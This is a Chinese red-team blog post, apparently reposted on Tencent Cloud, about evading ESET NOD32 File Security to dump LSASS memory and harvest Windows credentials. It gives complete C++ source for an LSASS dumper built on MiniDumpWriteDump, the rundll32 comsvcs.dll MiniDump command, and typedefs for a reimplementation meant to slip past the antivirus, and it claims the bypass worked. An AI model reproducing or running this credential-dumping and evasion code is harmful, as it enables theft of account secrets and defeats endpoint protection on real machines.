前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队技巧:绕过ESET_NOD32抓取密码

红队技巧:绕过ESET_NOD32抓取密码

作者头像
鸿鹄实验室
发布2021-04-01 11:42:25
9610
发布2021-04-01 11:42:25
举报
文章被收录于专栏:鸿鹄实验室

聊一聊绕过ESET_NOD32抓取密码的方法,这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server,测试版本如下:

为试用版本,并不影响我们的测试效果。目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump,demo如下:

代码语言:javascript
复制
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;

int main() {
  DWORD lsassPID = 0;
  HANDLE lsassHandle = NULL;
  HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  PROCESSENTRY32 processEntry = {};
  processEntry.dwSize = sizeof(PROCESSENTRY32);
  LPCWSTR processName = L"";

  if (Process32First(snapshot, &processEntry)) {
    while (_wcsicmp(processName, L"lsass.exe") != 0) {
      Process32Next(snapshot, &processEntry);
      processName = processEntry.szExeFile;
      lsassPID = processEntry.th32ProcessID;
    }
    wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
  }

  lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
  BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

  if (isDumped) {
    cout << "[+] lsass dumped successfully!" << endl;
  }

  return 0;
}

编译好版本可以去我的Github下载:https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump

我们来看看ESET_NOD32对它的反应:

无情的删除,因为这类API已经被拦截的很严重了。这里我们使用另外的一种方法来进行操作。首先我们来看一个白名单文件, comsvcs.dll,使用它dump的方法如下:

代码语言:javascript
复制
rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"

1234为lsass的PID进程号,注意需要管理员权限,而这类行为又属于敏感行为,所以我们来自己实现一个该DLL的功能,主要为 MiniDump,其为comsvcs.dll的一个导出函数。

而权限提升可以使用RtlAdjustPrivilege来进行,这个函数封装在NtDll.dll中,MSDN没有专门的文档介绍它,就是说你在MSDN上查不到关于它的任何信息,但是可以在微软官方的WRK(Windows研究内核)里找到它的源代码。其定义如下:

代码语言:javascript
复制
NTSTATUS RtlAdjustPrivilege(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
)

剩下的将刚才所说的函数进行实现,demo如下:

代码语言:javascript
复制
typedef HRESULT(WINAPI* _MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable,
  BOOL CurrentThread, PULONG Enabled);

最后成功的绕过了绕过ESET_NOD32 dump了进程。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档